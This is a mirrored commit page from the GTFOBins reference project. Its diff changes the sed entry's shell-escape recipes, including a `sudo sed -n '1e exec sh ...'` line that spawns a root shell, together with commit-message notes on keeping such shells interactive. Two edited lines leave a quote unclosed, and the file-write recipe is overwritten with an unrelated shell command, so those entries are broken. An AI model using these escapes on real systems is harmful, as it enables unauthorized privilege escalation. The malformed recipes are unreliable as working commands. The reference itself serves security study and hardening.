mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-10-17 10:56:20 +02:00
Make interactive execute whenever possible
Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
This commit is contained in:
@@ -2,14 +2,14 @@
|
||||
functions:
|
||||
execute-interactive:
|
||||
- description: GNU version only. Also, this requires `bash`.
|
||||
code: sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
|
||||
code: sed -n '1e exec sh 1>&0' /etc/hosts
|
||||
execute-non-interactive:
|
||||
- description: GNU version only.
|
||||
code: sed -n "1e id" /etc/hosts
|
||||
file-write:
|
||||
- code: |
|
||||
LFILE=file_to_write
|
||||
sed -n "1s/.*/DATA/w $LFILE" /etc/hosts
|
||||
sed -n '1e exec sh 1>&0 /etc/hosts
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
@@ -20,5 +20,5 @@ functions:
|
||||
./sed -e '' "$LFILE"
|
||||
sudo-enabled:
|
||||
- description: GNU version only. Also, this requires `bash`.
|
||||
code: sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
|
||||
code: sudo sed -n '1e exec sh 1>&0 /etc/hosts
|
||||
---
|
||||
|
Reference in New Issue
Block a user